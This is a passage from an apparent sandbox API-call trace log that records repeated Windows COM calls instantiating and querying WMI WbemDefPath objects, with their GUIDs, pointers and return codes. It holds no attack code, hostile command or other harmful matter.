[7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdcd68) returned 0x0 [0127.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.115] WbemDefPath:IUnknown:AddRef (This=0x5cdcd68) returned 0x3 [0127.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1400) returned 0x0 [0127.115] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1400, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.115] WbemDefPath:IUnknown:Release (This=0x5cc1400) returned 0x3 [0127.115] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.115] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.115] WbemDefPath:IUnknown:Release (This=0x5cdcd68) returned 0x2 [0127.115] WbemDefPath:IUnknown:Release (This=0x5cdcd68) returned 0x1 [0127.115] SetEvent (hEvent=0x4e4) returned 1 [0127.117] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc13f0) returned 0x0 [0127.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc13f0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.117] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc13f0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdcdd8) returned 0x0 [0127.117] WbemDefPath:IUnknown:Release (This=0x5cc13f0) returned 0x0 [0127.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdcdd8) returned 0x0 [0127.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.117] WbemDefPath:IUnknown:AddRef (This=0x5cdcdd8) returned 0x3 [0127.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1410) returned 0x0 [0127.117] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1410, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.117] WbemDefPath:IUnknown:Release (This=0x5cc1410) returned 0x3 [0127.117] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.118] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.118] WbemDefPath:IUnknown:Release (This=0x5cdcdd8) returned 0x2 [0127.118] WbemDefPath:IUnknown:Release (This=0x5cdcdd8) returned 0x1 [0127.118] SetEvent (hEvent=0x4e8) returned 1 [0127.119] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc13f0) returned 0x0 [0127.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc13f0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.119] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc13f0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdce48) returned 0x0 [0127.119] WbemDefPath:IUnknown:Release (This=0x5cc13f0) returned 0x0 [0127.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdce48) returned 0x0 [0127.120] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.120] WbemDefPath:IUnknown:AddRef (This=0x5cdce48) returned 0x3 [0127.120] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.120] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.120] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1420) returned 0x0 [0127.120] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1420, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.120] WbemDefPath:IUnknown:Release (This=0x5cc1420) returned 0x3 [0127.120] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.120] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.120] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.120] WbemDefPath:IUnknown:Release (This=0x5cdce48) returned 0x2 [0127.120] WbemDefPath:IUnknown:Release (This=0x5cdce48) returned 0x1 [0127.120] SetEvent (hEvent=0x4ec) returned 1 [0127.161] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5ce6018) returned 0x0 [0127.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x5ce6018, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.161] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5ce6018, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdceb8) returned 0x0 [0127.161] WbemDefPath:IUnknown:Release (This=0x5ce6018) returned 0x0 [0127.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdceb8) returned 0x0 [0127.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.162] WbemDefPath:IUnknown:AddRef (This=0x5cdceb8) returned 0x3 [0127.162] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.162] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.162] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5ce6028) returned 0x0 [0127.162] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5ce6028, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.162] WbemDefPath:IUnknown:Release (This=0x5ce6028) returned 0x3 [0127.162] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.162] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.162] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.162] WbemDefPath:IUnknown:Release (This=0x5cdceb8) returned 0x2 [0127.162] WbemDefPath:IUnknown:Release (This=0x5cdceb8) returned 0x1 [0127.162] SetEvent (hEvent=0x4f0) returned 1 [0127.196] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5ce6048) returned 0x0 [0127.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x5ce6048, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.196] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5ce6048, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdcf28) returned 0x0 [0127.197] WbemDefPath:IUnknown:Release (This=0x5ce6048) returned 0x0 [0127.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcf28, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdcf28) returned 0x0 [0127.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcf28, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.197] WbemDefPath:IUnknown:AddRef (This=0x5cdcf28) returned 0x3 [0127.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcf28, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcf28, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcf28, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5ce6058) returned 0x0 [0127.197] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5ce6058, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.197] WbemDefPath:IUnknown:Release (This=0x5ce6058) returned 0x3 [0127.197] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.197] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcf28, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.197] WbemDefPath:IUnknown:Release (This=0x5cdcf28) returned 0x2 [0127.197] WbemDefPath:IUnknown:Release (This=0x5cdcf28) returned 0x1 [0127.197] SetEvent (hEvent=0x4f4) returned 1 [0127.199] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5ce6088) returned 0x0 [0127.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x5ce6088, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.200] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5ce6088, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdd008) returned 0x0 [0127.200] WbemDefPath:IUnknown:Release (This=0x5ce6088) returned 0x0 [0127.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdd008) returned 0x0 [0127.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.200] WbemDefPath:IUnknown:AddRef (This=0x5cdd008) returned 0x3 [0127.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5ce6098) returned 0x0 [0127.200] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5ce6098, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.200] WbemDefPath:IUnknown:Release (This=0x5ce6098) returned 0x3 [0127.200] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.200] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.201] WbemDefPath:IUnknown:Release (This=0x5cdd008) returned 0x2 [0127.201] WbemDefPath:IUnknown:Release (This=0x5cdd008) returned 0x1 [0127.201] SetEvent (hEvent=0x4f8) returned 1 [0127.202] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5ce6088) returned 0x0 [0127.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x5ce6088, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, 